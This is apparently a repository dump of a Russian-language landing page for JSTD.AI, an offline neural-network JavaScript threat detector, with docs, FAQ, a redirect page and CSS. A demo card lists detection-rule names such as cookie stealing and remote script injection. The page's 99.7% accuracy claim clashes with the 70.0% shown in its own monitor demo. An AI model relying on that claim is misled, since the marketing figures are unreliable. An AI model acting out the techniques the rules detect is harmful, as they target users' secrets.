data-i18n-html=\"docs.qs3_p\">Кликните по строке в таблице — откроется детализация <em>Threat Details</em> с тремя вкладками. При необходимости экспортируйте полный HTML-отчёт кнопкой\n                            <code>Save as HTML report</code>.\n                        </p>\n                    </div>\n                </div>\n            </div>\n\n            <!-- INTERFACE REFERENCE -->\n            <div class=\"docs-grid\">\n\n                <!-- Panel: Source Viewer -->\n                <div class=\"docs-card\">\n                    <div class=\"docs-card__icon\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 28 28\" fill=\"none\">\n                            <rect x=\"2\" y=\"2\" width=\"24\" height=\"24\" stroke=\"#00d4ff\" stroke-width=\"1.3\" />\n                            <path d=\"M7 8H21M7 13H21M7 18H15\" stroke=\"#00d4ff\" stroke-width=\"1.2\" stroke-linecap=\"square\" opacity=\".7\" />\n                            <circle cx=\"21\" cy=\"18\" r=\"4\" fill=\"#050810\" stroke=\"#a78bfa\" stroke-width=\"1.2\" />\n                            <path d=\"M19.5 18H22.5M21 16.5V19.5\" stroke=\"#a78bfa\" stroke-width=\"1\" stroke-linecap=\"square\" />\n                        </svg>\n                    </div>\n                    <div class=\"docs-card__label\">Source code viewer</div>\n                    <h3 data-i18n=\"docs.c1_h3\">Просмотрщик кода</h3>\n                    <p data-i18n=\"docs.c1_p\">Отображает исходный код выбранного файла с синтаксической подсветкой. Комментарии, строки, ключевые слова и опасные конструкции выделяются цветом. Файл можно прокручивать — размер не ограничен.\n                    </p>\n                    <div class=\"docs-card__hint\">\n                        <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                            <circle cx=\"7\" cy=\"7\" r=\"6\" stroke=\"#f59e0b\" stroke-width=\"1\" />\n                            <path d=\"M7 4V7.5M7 9.5V10\" stroke=\"#f59e0b\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                        </svg> <span data-i18n=\"docs.c1_hint\">Выберите файл в таблице справа — код обновится автоматически</span>\n                    </div>\n                </div>\n\n                <!-- Panel: Analysis Results -->\n                <div class=\"docs-card\">\n                    <div class=\"docs-card__icon\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 28 28\" fill=\"none\">\n                            <rect x=\"2\" y=\"2\" width=\"24\" height=\"24\" stroke=\"#a78bfa\" stroke-width=\"1.3\" />\n                            <path d=\"M7 8H21\" stroke=\"#a78bfa\" stroke-width=\"1\" opacity=\".4\" />\n                            <rect x=\"6\" y=\"11\" width=\"16\" height=\"3\" fill=\"rgba(255,51,102,.15)\" stroke=\"#ff3366\" stroke-width=\".8\" />\n                            <path d=\"M7 18H21M7 22H15\" stroke=\"#a78bfa\" stroke-width=\"1\" stroke-linecap=\"square\" opacity=\".5\" />\n                        </svg>\n                    </div>\n                    <div class=\"docs-card__label\">Analysis results</div>\n                    <h3 data-i18n=\"docs.c2_h3\">Таблица результатов</h3>\n                    <p data-i18n-html=\"docs.c2_p\">Каждая строка — один файл. Столбцы: <strong>File Name</strong>, <strong>Threat Level</strong> (цветовая метка), <strong>Score</strong> (итоговый балл в процентах). Строки кликабельны — открывают детали в нижней панели.</p>\n                    <div class=\"docs-card__threat-mini\">\n                        <div class=\"dtm-row\"><span class=\"level-badge safe\">SAFE</span><span>0 – 15%</span></div>\n                        <div class=\"dtm-row\"><span class=\"level-badge low\">LOW</span><span>15 – 35%</span></div>\n                        <div class=\"dtm-row\"><span class=\"level-badge med\">MEDIUM</span><span>35 – 65%</span></div>\n                        <div class=\"dtm-row\"><span class=\"level-badge high\">HIGH</span><span>65 – 85%</span></div>\n                        <div class=\"dtm-row\"><span class=\"level-badge crit\">CRITICAL</span><span>85 – 100%</span></div>\n                    </div>\n                </div>\n\n                <!-- Tab: Summary -->\n                <div class=\"docs-card\">\n                    <div class=\"docs-card__icon\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 28 28\" fill=\"none\">\n                            <path d=\"M14 2L2 7V14C2 20.627 7.373 26 14 26C20.627 26 26 20.627 26 14V7L14 2Z\" stroke=\"#ff3366\" stroke-width=\"1.3\" fill=\"none\" />\n                            <path d=\"M9 14L12.5 17.5L19 11\" stroke=\"#ff3366\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                        </svg>\n                    </div>\n                    <div class=\"docs-card__label\" data-i18n=\"docs.c3_lbl\">Вкладка — Threat Details</div>\n                    <h3>Summary</h3>\n                    <p data-i18n=\"docs.c3_p\">Итоговый вердикт по файлу. Показывает уровень угрозы, три независимых скора и текстовое резюме. Отображает количество найденных нарушений и финальную рекомендацию.</p>\n                    <div class=\"docs-card__scores\">\n                        <div class=\"dcs-row\">\n                            <span>Overall Threat Score</span>\n                            <div class=\"dcs-bar\">\n                                <div class=\"dcs-fill\" style=\"--w:93%;--c:#ff3366\"></div>\n                            </div>\n                            <strong class=\"dcs-val\" style=\"color:#ff3366\">93%</strong>\n                        </div>\n                        <div class=\"dcs-row\">\n                            <span>Neural Network Score</span>\n                            <div class=\"dcs-bar\">\n                                <div class=\"dcs-fill\" style=\"--w:100%;--c:#ff6600\"></div>\n                            </div>\n                            <strong class=\"dcs-val\" style=\"color:#ff6600\">100%</strong>\n                        </div>\n                        <div class=\"dcs-row\">\n                            <span>Heuristic Analysis Score</span>\n                            <div class=\"dcs-bar\">\n                                <div class=\"dcs-fill\" style=\"--w:90%;--c:#f59e0b\"></div>\n                            </div>\n                            <strong class=\"dcs-val\" style=\"color:#f59e0b\">90%</strong>\n                        </div>\n                    </div>\n                </div>\n\n                <!-- Tab: Triggered Rules -->\n                <div class=\"docs-card\">\n                    <div class=\"docs-card__icon\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 28 28\" fill=\"none\">\n                            <rect x=\"3\" y=\"3\" width=\"22\" height=\"22\" stroke=\"#00ff88\" stroke-width=\"1.3\" />\n                            <path d=\"M8 10H12M8 14H12M8 18H12\" stroke=\"#ff3366\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                            <path d=\"M15 10H20M15 14H20M15 18H18\" stroke=\"#00ff88\" stroke-width=\"1\" stroke-linecap=\"square\" opacity=\".5\" />\n                        </svg>\n                    </div>\n                    <div class=\"docs-card__label\" data-i18n=\"docs.c3_lbl\">Вкладка — Threat Details</div>\n                    <h3>Triggered Rules</h3>\n                    <p data-i18n=\"docs.c4_p\">Список сработавших эвристических правил. Каждое правило содержит название, severity в процентах и краткое описание атаки. Правила ранжированы по убыванию опасности.</p>\n                    <div class=\"docs-card__rules-demo\">\n                        <div class=\"drd-row drd-row--crit\">\n                            <span class=\"drd-dot\"></span>\n                            <span class=\"drd-name\">Cookie stealing pattern</span>\n                            <span class=\"drd-sev\">93%</span>\n                        </div>\n                        <div class=\"drd-row drd-row--crit\">\n                            <span class=\"drd-dot\"></span>\n                            <span class=\"drd-name\">Base64 with eval</span>\n                            <span class=\"drd-sev\">92%</span>\n                        </div>\n                        <div class=\"drd-row drd-row--high\">\n                            <span class=\"drd-dot\"></span>\n                            <span class=\"drd-name\">Prototype pollution attempt</span>\n                            <span class=\"drd-sev\">91%</span>\n                        </div>\n                        <div class=\"drd-row drd-row--high\">\n                            <span class=\"drd-dot\"></span>\n                            <span class=\"drd-name\">Function constructor with variables</span>\n                            <span class=\"drd-sev\">90%</span>\n                        </div>\n                        <div class=\"drd-row drd-row--med\">\n                            <span class=\"drd-dot\"></span>\n                            <span class=\"drd-name\">Remote script injection</span>\n                            <span class=\"drd-sev\">88%</span>\n                        </div>\n                    </div>\n                </div>\n\n                <!-- Tab: Detected Features -->\n                <div class=\"docs-card\">\n                    <div class=\"docs-card__icon\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 28 28\" fill=\"none\">\n                            <circle cx=\"14\" cy=\"14\" r=\"11\" stroke=\"#00d4ff\" stroke-width=\"1.3\" />\n                            <circle cx=\"14\" cy=\"14\" r=\"5\" stroke=\"#00d4ff\" stroke-width=\"1\" opacity=\".5\" />\n                            <circle cx=\"14\" cy=\"14\" r=\"1.5\" fill=\"#00d4ff\" />\n                            <path d=\"M14 3V6M14 22V25M3 14H6M22 14H25\" stroke=\"#00d4ff\" stroke-width=\"1\" opacity=\".4\" />\n                        </svg>\n                    </div>\n                    <div class=\"docs-card__label\" data-i18n=\"docs.c3_lbl\">Вкладка — Threat Details</div>\n                    <h3>Detected Features</h3>\n                    <p data-i18n=\"docs.c5_p\">Сырые метрики, извлечённые из кода. Таблица из 50 признаков: Feature (название), Count (абсолютное количество), Description (что означает). Используется для ручного аудита и понимания решения нейросети.</p>\n                    <div class=\"docs-card__features-demo\">\n                        <div class=\"dfd-header\">\n                            <span>Feature</span>\n                            <span>Count</span>\n                            <span>Description</span>\n                        </div>\n                        <div class=\"dfd-row\">\n                            <span>Code entropy</span>\n                            <strong>59</strong>\n                            <span>Randomness measure</span>\n                        </div>\n                        <div class=\"dfd-row\">\n                            <span>Obfuscation level</span>\n                            <strong>7</strong>\n                            <span>Suspicious patterns</span>\n                        </div>\n                        <div class=\"dfd-row\">\n                            <span>setInterval</span>\n                            <strong>2</strong>\n                            <span>Repeated execution</span>\n                        </div>\n                        <div class=\"dfd-row\">\n                            <span>XMLHttpRequest</span>\n                            <strong>1</strong>\n                            <span>Network requests</span>\n                        </div>\n                    </div>\n                </div>\n\n                <!-- System Monitor -->\n                <div class=\"docs-card\">\n                    <div class=\"docs-card__icon\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 28 28\" fill=\"none\">\n                            <rect x=\"2\" y=\"2\" width=\"24\" height=\"24\" stroke=\"#a78bfa\" stroke-width=\"1.3\" />\n                            <path d=\"M5 18L9 12L13 15L17 8L23 18\" stroke=\"#a78bfa\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                        </svg>\n                    </div>\n                    <div class=\"docs-card__label\" data-i18n=\"docs.c6_lbl\">Боковая панель</div>\n                    <h3>System Monitor</h3>\n                    <p data-i18n-html=\"docs.c6_p\">Живой мониторинг состояния движка. Обновляется каждые 500&thinsp;мс. Все данные — локальные, никуда не отправляются.</p>\n                    <div class=\"docs-card__sysmon\">\n                        <div class=\"dsm-group\">\n                            <div class=\"dsm-title\">[&gt;] Neural Network</div>\n                            <div class=\"dsm-row\"><span>Init:</span><strong>0.14s</strong></div>\n                            <div class=\"dsm-row\"><span>Memory:</span><strong>4.4 MB</strong></div>\n                            <div class=\"dsm-row\"><span>Topology:</span><strong>50→30→1</strong></div>\n                            <div class=\"dsm-row\"><span>Params:</span><strong>1 591</strong></div>\n                            <div class=\"dsm-row\"><span>Accuracy:</span><strong class=\"dsm-accent\">70.0%</strong></div>\n                        </div>\n                        <div class=\"dsm-group\">\n                            <div class=\"dsm-title\">[&gt;] Analysis</div>\n                            <div class=\"dsm-row\"><span>Files:</span><strong>10</strong></div>\n                            <div class=\"dsm-row\"><span>Threats:</span><strong class=\"dsm-warn\">4</strong></div>\n                            <div class=\"dsm-row\"><span>Avg Score:</span><strong>50.3%</strong></div>\n                        </div>\n                    </div>\n                </div>\n\n            </div>\n\n            <!-- FAQ ACCORDION -->\n            <div class=\"docs-faq\">\n                <div class=\"docs-faq__title\" data-i18n=\"docs.faq_title\">Частые вопросы</div>\n                <div class=\"docs-faq__list\" id=\"faqList\">\n                    <div class=\"faq-item\">\n                        <button class=\"faq-item__q\" aria-expanded=\"false\">\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                                <path d=\"M4 6L8 10L12 6\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                            </svg>\n                            <span data-i18n=\"docs.faq1_q\">Безопасно ли передавать мой код в программу?</span>\n                        </button>\n                        <div class=\"faq-item__a\" data-i18n=\"docs.faq1_a\">JSTD.AI работает полностью офлайн. Код не покидает ваш компьютер ни при каких условиях — никаких облачных API, телеметрии или обратных соединений. Весь анализ выполняется локально в памяти процесса.</div>\n                    </div>\n                    <div class=\"faq-item\">\n                        <button class=\"faq-item__q\" aria-expanded=\"false\">\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                                <path d=\"M4 6L8 10L12 6\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                            </svg>\n                            <span data-i18n-html=\"docs.faq2_q\">Почему у безопасного кода с <code>fetch()</code> балл не нулевой?</span>\n                        </button>\n                        <div class=\"faq-item__a\" data-i18n-html=\"docs.faq2_a\">Нейросеть оценивает вероятность угрозы статистически. Наличие\n                            <code>fetch()</code>, <code>XMLHttpRequest</code> или <code>localStorage</code> само по себе не является угрозой — но поднимает базовый скор. Итоговая классификация учитывает комбинацию признаков: единичный <code>fetch()</code> без опасного контекста даёт уровень SAFE или LOW.\n                        </div>\n                    </div>\n                    <div class=\"faq-item\">\n                        <button class=\"faq-item__q\" aria-expanded=\"false\">\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                                <path d=\"M4 6L8 10L12 6\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                            </svg>\n                            <span data-i18n=\"docs.faq3_q\">Что значит «Обфускация», если код написан вручную?</span>\n                        </button>\n                        <div class=\"faq-item__a\" data-i18n=\"docs.faq3_a\">Признак«Obfuscation level» — это не флаг пропуска через обфускатор, а метрика характеристик кода: длинные строки без пробелов, высокая энтропия, hex-литералы, минимум комментариев. Минифицированные бандлы (webpack, esbuild) будут\n                            иметь ненулевой уровень — это нормально и учитывается при расчёте итогового балла.</div>\n                    </div>\n                    <div class=\"faq-item\">\n                        <button class=\"faq-item__q\" aria-expanded=\"false\">\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                                <path d=\"M4 6L8 10L12 6\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                            </svg>\n                            <span data-i18n=\"docs.faq4_q\">Что содержит HTML-отчёт?</span>\n                        </button>\n                        <div class=\"faq-item__a\" data-i18n=\"docs.faq4_a\">HTML-отчёт включает: шапку с датой и именем аналитика, итоговую таблицу по всем файлам, детализацию каждого файла (Summary + Triggered Rules + Detected Features), исходный код и временну́ю метку анализа. Файл самодостаточен — не\n                            требует интернета для просмотра.</div>\n                    </div>\n                    <div class=\"faq-item\">\n                        <button class=\"faq-item__q\" aria-expanded=\"false\">\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                                <path d=\"M4 6L8 10L12 6\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                            </svg>\n                            <span data-i18n=\"docs.faq5_q\">Можно ли анализировать минифицированные файлы?</span>\n                        </button>\n                        <div class=\"faq-item__a\" data-i18n=\"docs.faq5_a\">Да. Нейросеть обучена на примерах минифицированного кода. Признаки извлекаются независимо от форматирования. Минификация сама по себе поднимает признак обфускации, но не влияет на итоговую классификацию — при отсутствии опасных\n                            паттернов файл получит SAFE или LOW.</div>\n                    </div>\n                </div>\n            </div>\n\n        </div>\n    </section>\n\n    <!-- ░░ CTA ░░ -->\n    <section class=\"section cta-section\" id=\"cta\">\n        <div class=\"cta-section__bg\"></div>\n        <div class=\"container\">\n            <div class=\"cta-inner\">\n                <div class=\"section__label\" data-i18n=\"cta.label\">Защита начинается здесь</div>\n                <h2 class=\"cta-inner__title\" data-i18n-html=\"cta.title_html\">\n                    Каждый JS-файл —<br /> это потенциальная<br />\n                    <span class=\"cracked-word cracked-word--lg\" data-text=\"дыра\">дыра</span>\n                </h2>\n                <p data-i18n=\"cta.p\">JSTD.AI работает полностью локально на Windows. Не нужен интернет. Не нужен GPU. Установка займёт минуту — первый анализ будет через три...</p>\n                <div class=\"cta-inner__actions\">\n                    <a href=\"./download\" class=\"btn btn--primary btn--lg\">\n                        <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                            <path d=\"M9 2V12M9 12L5 8M9 12L13 8\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                            <path d=\"M3 15H15\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg> <span data-i18n=\"cta.btn_primary\">Скачать JSTD.AI</span>\n                    </a>\n                    <a href=\"#docs\" class=\"btn btn--ghost btn--lg\">\n                        <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                            <path d=\"M3 3H15V15H3V3Z\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                            <path d=\"M7 7H11M7 10H11\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                        </svg> <span data-i18n=\"cta.btn_ghost\">Документация</span>\n                    </a>\n                </div>\n                <div class=\"cta-inner__specs\">\n                    <div class=\"spec\">\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                            <path d=\"M8 1L1 4.5V9C1 12.314 4.134 15 8 15C11.866 15 15 12.314 15 9V4.5L8 1Z\" stroke=\"#00ff88\" stroke-width=\"1.2\" />\n                        </svg> Windows 7+\n                    </div>\n                    <div class=\"spec\">\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                            <circle cx=\"8\" cy=\"8\" r=\"6\" stroke=\"#00d4ff\" stroke-width=\"1.2\" />\n                            <path d=\"M5 8L7.5 10.5L11 6\" stroke=\"#00d4ff\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                        </svg> .NET Framework 4.7.2\n                    </div>\n                    <div class=\"spec\">\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                            <rect x=\"2\" y=\"2\" width=\"12\" height=\"12\" stroke=\"#a78bfa\" stroke-width=\"1.2\" />\n                            <path d=\"M5 8H11M8 5V11\" stroke=\"#a78bfa\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                        </svg> <span data-i18n=\"cta.spec3\">&lt;1 МБ исполняемый файл</span>\n                    </div>\n                    <div class=\"spec\">\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                            <path d=\"M3 8L6 11L13 5\" stroke=\"#00ff88\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg> <span data-i18n=\"cta.spec4\">Без интернета</span>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ░░ FOOTER ░░ -->\n    <footer class=\"footer\">\n        <div class=\"container\">\n            <div class=\"footer__inner\">\n                <div class=\"footer__brand\">\n                    <a href=\"#\" class=\"nav__logo\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 32 32\" fill=\"none\">\n                            <path d=\"M16 2L4 7.5V16C4 22.627 9.373 28 16 28C22.627 28 28 22.627 28 16V7.5L16 2Z\" stroke=\"#00d4ff\" stroke-width=\"1.5\" fill=\"none\" />\n                            <path d=\"M16 7L9 10.25V16C9 19.866 12.134 23 16 23C19.866 23 23 19.866 23 16V10.25L16 7Z\" fill=\"#00d4ff\" fill-opacity=\"0.12\" stroke=\"#00d4ff\" stroke-width=\"1\" />\n                            <path d=\"M13 16L15.5 18.5L20 13\" stroke=\"#00d4ff\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg>\n                        <span class=\"nav__logo-text\">JSTD<span class=\"brand-accent\">.AI</span></span>\n                    </a>\n                    <p data-i18n-html=\"footer.brand_p\">Проприетарная нейросетевая система<br />детекции угроз в JavaScript-коде.</p>\n                    <p class=\"footer__copy\" data-i18n-html=\"footer.copy_html\">© 2026 JSTD.AI. Все права защищены.<br />Авторская разработка. Нейросетевая модель запатентована.</p>\n                </div>\n                <div class=\"footer__cols\">\n                    <div class=\"footer__col\">\n                        <div class=\"footer__col-title\" data-i18n=\"footer.col1_title\">Продукт</div>\n                        <a href=\"#cta\" data-i18n=\"footer.col1_1\">Скачать</a>\n                        <a href=\"#docs\" data-i18n=\"footer.col1_2\">Документация</a>\n                        <a href=\"#testimonials\" data-i18n=\"nav.testimonials\">Отзывы</a>\n                    </div>\n                </div>\n            </div>\n            <div class=\"footer__bottom\">\n                <span>Built with neural precision. Zero telemetry. Zero cloud.</span>\n                <div class=\"footer__badges\">\n                    <span class=\"footer__badge\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                            <path d=\"M6 1L1 3.5V6C1 8.761 3.239 11 6 11C8.761 11 11 8.761 11 6V3.5L6 1Z\" stroke=\"#00ff88\" stroke-width=\"1\" />\n                        </svg>\n                        Offline-first\n                    </span>\n                    <span class=\"footer__badge\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                            <path d=\"M2 6L5 9L10 3\" stroke=\"#00d4ff\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                        </svg>\n                        No telemetry\n                    </span>\n                    <span class=\"footer__badge\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                            <rect x=\"1\" y=\"1\" width=\"10\" height=\"10\" stroke=\"#a78bfa\" stroke-width=\"1\" />\n                            <path d=\"M4 6H8M6 4V8\" stroke=\"#a78bfa\" stroke-width=\"1\" stroke-linecap=\"square\" />\n                        </svg>\n                        MIT-hostile License\n                    </span>\n                </div>\n            </div>\n        </div>\n        <img class=\"footer-cat\" src=\"./flexing-cat.gif\" alt=\"\" aria-hidden=\"true\">\n    </footer>\n\n    <script src=\"app/i18n.js\"></script>\n    <script src=\"app/main.js\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/ru/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\" translate=\"no\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <meta http-equiv=\"refresh\" content=\"0; url=https://jstd.su/\" />\n    <meta name=\"robots\" content=\"noindex, follow\" />\n    <meta name=\"google\" content=\"notranslate\" />\n\n    <title>JSTD.AI — Нейросетевое обнаружение угроз JavaScript (РУ)</title>\n    <meta name=\"description\" content=\"Нейросетевая модель 50→30→1 анализирует JavaScript на обфускацию, вредоносные конструкции и зловреды за миллисекунды. Точность 99.7%. Без GPU и облака.\" />\n\n    <link rel=\"canonical\" href=\"https://jstd.su/\" />\n    <link rel=\"alternate\" hreflang=\"ru\" href=\"https://jstd.su/ru/\" />\n    <link rel=\"alternate\" hreflang=\"en\" href=\"https://jstd.su/en/\" />\n    <link rel=\"alternate\" hreflang=\"x-default\" href=\"https://jstd.su/\" />\n\n    <meta property=\"og:type\" content=\"website\" />\n    <meta property=\"og:site_name\" content=\"JSTD.AI\" />\n    <meta property=\"og:title\" content=\"JSTD.AI — Нейросетевое обнаружение угроз JavaScript\" />\n    <meta property=\"og:description\" content=\"Нейросетевая модель 50→30→1 анализирует любой JavaScript на обфускацию, вредоносные конструкции и зловреды за миллисекунды. Без GPU и облака.\" />\n    <meta property=\"og:url\" content=\"https://jstd.su/\" />\n    <meta property=\"og:image\" content=\"https://jstd.su/favicon.png\" />\n    <meta property=\"og:locale\" content=\"ru_RU\" />\n\n    <meta name=\"twitter:card\" content=\"summary\" />\n    <meta name=\"twitter:title\" content=\"JSTD.AI — Нейросетевое обнаружение угроз JavaScript\" />\n    <meta name=\"twitter:description\" content=\"Нейросетевая модель 50→30→1 анализирует любой JavaScript на обфускацию, вредоносные конструкции и зловреды. Без GPU и облака.\" />\n    <meta name=\"twitter:image\" content=\"https://jstd.su/favicon.png\" />\n    <link rel=\"icon\" type=\"image/png\" href=\"/favicon.png\" />\n    <link rel=\"shortcut icon\" type=\"image/png\" href=\"/favicon.png\" />\n    <meta name=\"author\" content=\"JSTD.AI\" />\n    <meta name=\"theme-color\" content=\"#0a0e1a\" />\n</head>\n\n<body>\n    <noscript>\n        <meta http-equiv=\"refresh\" content=\"0; url=/\" />\n        <p>Перенаправление… <a href=\"/\">Нажмите здесь, если переход не произошёл автоматически.</a></p>\n    </noscript>\n    <script>\n        localStorage.setItem('jstd_lang', 'ru');\n        window.location.replace('/');\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/styles/main.css",
    "content": "/* ═══════════════════════════════════════════════\n   JSTD.AI — Stylesheet\n   Space theme · Angular · No fuss\n══════════════════════════════════════════════ */\n\n*,\n*::before,\n*::after {\n    box-sizing: border-box;\n    margin: 0;\n    padding: 0;\n}\n\n:root {\n    --bg: #060911;\n    --bg-2: #0c1022;\n    --bg-card: rgba(14, 21, 41, 0.52);\n    --border: rgba(0, 212, 255, 0.14);\n    --border-2: rgba(255, 255, 255, 0.06);\n    --cyan: #00d4ff;\n    --green: #00ff88;\n    --red: #ff3366;\n    --orange: #ff6600;\n    --purple: #a78bfa;\n    --amber: #f59e0b;\n    --text: #e2e8f0;\n    --text-2: #8899b4;\n    --text-3: #4a5978;\n    --font: 'Space Grotesk', sans-serif;\n    --mono: 'Space Mono', monospace;\n    --trans: .22s cubic-bezier(.4, 0, .2, 1);\n    /* Frosted noise — feTurbulence SVG as bg layer */\n    --noise: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='200' height='200'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.75' numOctaves='4' stitchTiles='stitch'/%3E%3CfeColorMatrix type='saturate' values='0'/%3E%3C/filter%3E%3Crect width='200' height='200' filter='url(%23n)' opacity='0.035'/%3E%3C/svg%3E\");\n}\n\nhtml {\n    scroll-behavior: smooth;\n}\n\nbody {\n    font-family: var(--font);\n    background: var(--bg);\n    color: var(--text);\n    line-height: 1.65;\n    overflow-x: hidden;\n}\n\n/* ── FROSTED GLASS — applied site-wide to all card-like surfaces ──────── */\n.threat-card,\n.pipeline__step,\n.algo-card,\n.tcard,\n.docs-card,\n.showcase-item,\n.docs-qs-step {\n    backdrop-filter: blur(14px) saturate(1.25);\n    -webkit-backdrop-filter: blur(14px) saturate(1.25);\n    background-image: var(--noise) !important;\n    background-color: var(--bg-card) !important;\n    background-blend-mode: overlay, normal;\n    isolation: isolate;\n}\n\n\n/* ── SCROLLBAR ───────────────────────────────── */\n\n::-webkit-scrollbar {\n    width: 6px;\n}\n\n::-webkit-scrollbar-track {\n    background: var(--bg);\n}\n\n::-webkit-scrollbar-thumb {\n    background: var(--border);\n}\n\n\n/* ── TEXT SELECTION ──────────────────────────── */\n\n::selection {\n    background: rgba(0, 212, 255, 0.18);\n    color: #fff;\n    text-shadow: 0 0 4px rgba(0, 212, 255, 1), 0 0 12px rgba(0, 212, 255, 0.7), 0 0 28px rgba(0, 212, 255, 0.35);\n}\n\n::-webkit-scrollbar-thumb:hover {\n    background: var(--cyan);\n}\n\n\n/* ── CANVAS STARFIELD ────────────────────────── */\n\n#starfield {\n    position: fixed;\n    inset: 0;\n    z-index: 0;\n    pointer-events: none;\n}\n\n\n/* ── CONTAINER ───────────────────────────────── */\n\n.container {\n    max-width: 1200px;\n    margin: 0 auto;\n    padding: 0 32px;\n    position: relative;\n    z-index: 1;\n}\n\n\n/* ── NAV ─────────────────────────────────────── */\n\n.nav {\n    position: fixed;\n    top: 0;\n    left: 0;\n    right: 0;\n    z-index: 100;\n    border-bottom: 1px solid var(--border);\n    background-color: rgba(6, 9, 17, 0.72);\n    background-image: var(--noise);\n    background-blend-mode: overlay;\n    backdrop-filter: blur(18px) saturate(1.3);\n    -webkit-backdrop-filter: blur(18px) saturate(1.3);\n}\n\n.nav__inner {\n    max-width: 1200px;\n    margin: 0 auto;\n    padding: 0 32px;\n    height: 64px;\n    display: flex;\n    align-items: center;\n    gap: 48px;\n}\n\n.nav__logo {\n    display: flex;\n    align-items: center;\n    gap: 10px;\n    text-decoration: none;\n    flex-shrink: 0;\n}\n\n.nav__logo-text {\n    font-family: var(--mono);\n    font-size: 18px;\n    font-weight: 700;\n    color: var(--text);\n    letter-spacing: -0.5px;\n}\n\n.brand-accent {\n    color: var(--cyan);\n}\n\n.nav__links {\n    display: flex;\n    list-style: none;\n    gap: 8px;\n    margin-left: auto;\n}\n\n.nav__links a {\n    color: var(--text-2);\n    text-decoration: none;\n    font-size: 14px;\n    padding: 6px 14px;\n    transition: color var(--trans);\n    position: relative;\n}\n\n.nav__links a::after {\n    content: '';\n    position: absolute;\n    bottom: 0;\n    left: 14px;\n    right: 14px;\n    height: 1px;\n    background: var(--cyan);\n    transform: scaleX(0);\n    transition: transform var(--trans);\n}\n\n.nav__links a:hover {\n    color: var(--text);\n}\n\n.nav__links a:hover::after {\n    transform: scaleX(1);\n}\n\n.nav__cta-link {\n    color: var(--cyan) !important;\n    border: 1px solid rgba(0, 212, 255, 0.4);\n    padding: 6px 18px !important;\n    transition: background var(--trans), color var(--trans) !important;\n}\n\n.nav__cta-link:hover {\n    background: var(--cyan) !important;\n    color: var(--bg) !important;\n}\n\n.nav__cta-link::after {\n    display: none !important;\n}\n\n\n/* ── Language switcher ───────────────────────── */\n\n.nav__lang-switch {\n    display: flex;\n    align-items: center;\n    gap: 4px;\n    margin-left: 4px;\n}\n\n.lang-btn {\n    background: none;\n    border: none;\n    cursor: pointer;\n    font-family: var(--mono);\n    font-size: 11px;\n    font-weight: 700;\n    letter-spacing: 1px;\n    color: var(--text-3);\n    padding: 4px 6px;\n    line-height: 1;\n    transition: color var(--trans);\n    text-transform: uppercase;\n}\n\n.lang-btn:hover {\n    color: var(--text);\n}\n\n.lang-btn--active {\n    color: var(--cyan);\n    text-shadow: 0 0 8px rgba(0, 212, 255, .5);\n}\n\n.lang-sep {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--border);\n    user-select: none;\n}\n\n.cursor {\n    animation: cur-blink .8s step-end infinite;\n}\n\n@keyframes cur-blink {\n    0%,\n    100% 